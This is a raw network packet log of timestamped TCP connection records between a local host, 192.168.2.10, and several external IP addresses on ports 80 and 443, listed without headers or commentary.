Nov 22, 2024 17:09:07.946774006 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:07.947462082 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:07.947474957 CET	443	49824	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:08.092212915 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:08.092230082 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:08.092304945 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:08.096143007 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:08.105298996 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.105329990 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.105386019 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.105416059 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.105453968 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.105465889 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.113713026 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.113785028 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.146883965 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:08.146935940 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:08.147032022 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:08.147309065 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:08.147341967 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:08.152605057 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.152638912 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.152647018 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.152678013 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.152688980 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.152689934 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.152695894 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.152715921 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.152733088 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.152755022 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.170864105 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.170886040 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.170897961 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.170919895 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.170937061 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.170953989 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.170984983 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.171003103 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.171051979 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.171051979 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.180818081 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.180859089 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.180910110 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.180923939 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.180958033 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.180977106 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.217123985 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:08.267507076 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.267539024 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.267605066 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.267637014 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.267637014 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.267661095 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.267672062 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.282701969 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.282725096 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.282780886 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.282790899 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.282845020 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.295999050 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.296076059 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.309140921 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.315458059 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.315512896 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.315536022 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.315543890 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.315583944 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.316024065 CET	49821	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.316030979 CET	443	49821	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.322374105 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.322412014 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.322549105 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.322568893 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.322638035 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.328181028 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.328229904 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.345050097 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.345077038 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.345133066 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.345153093 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.345170975 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.345191956 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.384686947 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.384716034 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.384810925 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.384810925 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.384836912 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.385041952 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.441406012 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.441437006 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.441492081 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.441520929 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.441545010 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.441565037 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.453928947 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.454124928 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.480997086 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.481040001 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.481081009 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.481105089 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.481189013 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.499196053 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.499223948 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.499277115 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.499303102 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.499325991 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.499397993 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.503884077 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.503916979 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.503982067 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.504004955 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.504019976 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.504043102 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.518728971 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.518835068 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.529594898 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.529695034 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.529701948 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.529714108 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.529768944 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.530152082 CET	49823	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.530165911 CET	443	49823	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.536711931 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.536734104 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.536807060 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.536828041 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.536842108 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.536868095 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.544879913 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:08.544960022 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:08.557449102 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.557470083 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.557636023 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.557657957 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.557699919 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.558156013 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:08.630105972 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:08.630156994 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:08.630218983 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:08.630551100 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:08.630565882 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:08.666821957 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.666902065 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.682600021 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:08.697988033 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.698029041 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.698101044 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.698117971 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.698131084 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.700463057 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.700608969 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.700841904 CET	49822	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:08.700864077 CET	443	49822	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:08.788908958 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:08.788970947 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:08.789129972 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:08.789413929 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:08.789424896 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.510399103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:09.510457993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:09.540405035 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:09.666759968 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:09.820935011 CET	443	49824	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.821311951 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:09.821329117 CET	443	49824	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.821721077 CET	443	49824	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.822112083 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:09.822186947 CET	443	49824	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.822299957 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:09.822356939 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:09.822388887 CET	443	49824	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.961352110 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.961683035 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:09.961715937 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.962022066 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.962435007 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:09.962507010 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.962611914 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:09.962670088 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:09.962687016 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:09.996196032 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:09.996299028 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:10.002087116 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:10.121845007 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:10.121929884 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:10.122234106 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:10.243243933 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:10.385049105 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.385366917 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.385401964 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.386471987 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.386543989 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.386920929 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.386986971 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.387108088 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.387119055 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.387157917 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.387187958 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.440938950 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.496834993 CET	443	49824	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.496961117 CET	443	49824	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.497209072 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.497587919 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.497607946 CET	443	49824	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.497617960 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.497653008 CET	49824	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.558078051 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.558562994 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.558583975 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.559710026 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.559772968 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.560168028 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.560264111 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.560600996 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.560606956 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.560671091 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.560703039 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.560785055 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.560885906 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.561326981 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.561340094 CET	443	49825	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.561355114 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.561405897 CET	49825	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.612811089 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.922218084 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.922611952 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.923051119 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.923084021 CET	443	49826	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:10.923099041 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:10.923135996 CET	49826	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:11.084507942 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:11.084583044 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:11.084774017 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:11.085052013 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:11.085072994 CET	443	49827	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:11.085084915 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:11.085148096 CET	49827	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:11.501059055 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501120090 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.501168013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501178980 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501208067 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.501221895 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.501230955 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501269102 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501275063 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.501280069 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501291037 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501306057 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.501323938 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.501386881 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501399040 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501410007 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.501436949 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.501466036 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.620888948 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.620920897 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.620982885 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.702212095 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.702281952 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.702328920 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.702375889 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.706487894 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.706515074 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.706537962 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.706554890 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.714838982 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.714898109 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.714946032 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.714987993 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.722855091 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.722913980 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.722918987 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.722949982 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.731306076 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.731359005 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.731550932 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.731600046 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.739620924 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.739676952 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.739705086 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.739748955 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.748049974 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.748106956 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.748224974 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.748316050 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.756366014 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.756422043 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.756464958 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.756500959 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.771399975 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.771425009 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.771456003 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.771521091 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.772464037 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.772500992 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.772516012 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.772546053 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.780011892 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.780066013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.780122042 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.780158043 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.821991920 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.822077990 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.903309107 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.903347969 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.903392076 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.903426886 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.905867100 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.905967951 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.906016111 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.910967112 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.911101103 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.912751913 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.912828922 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.912956953 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.917845011 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.917892933 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.917975903 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.918184042 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.922895908 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.922949076 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.922985077 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.923027992 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.927972078 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.928047895 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.928091049 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.928091049 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.933053970 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.933095932 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.933151960 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.933219910 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.938102961 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.938168049 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.938252926 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.938347101 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.943144083 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.943243027 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:11.943288088 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:11.948200941 CET	80	49828	185.215.113.16	192.168.2.10
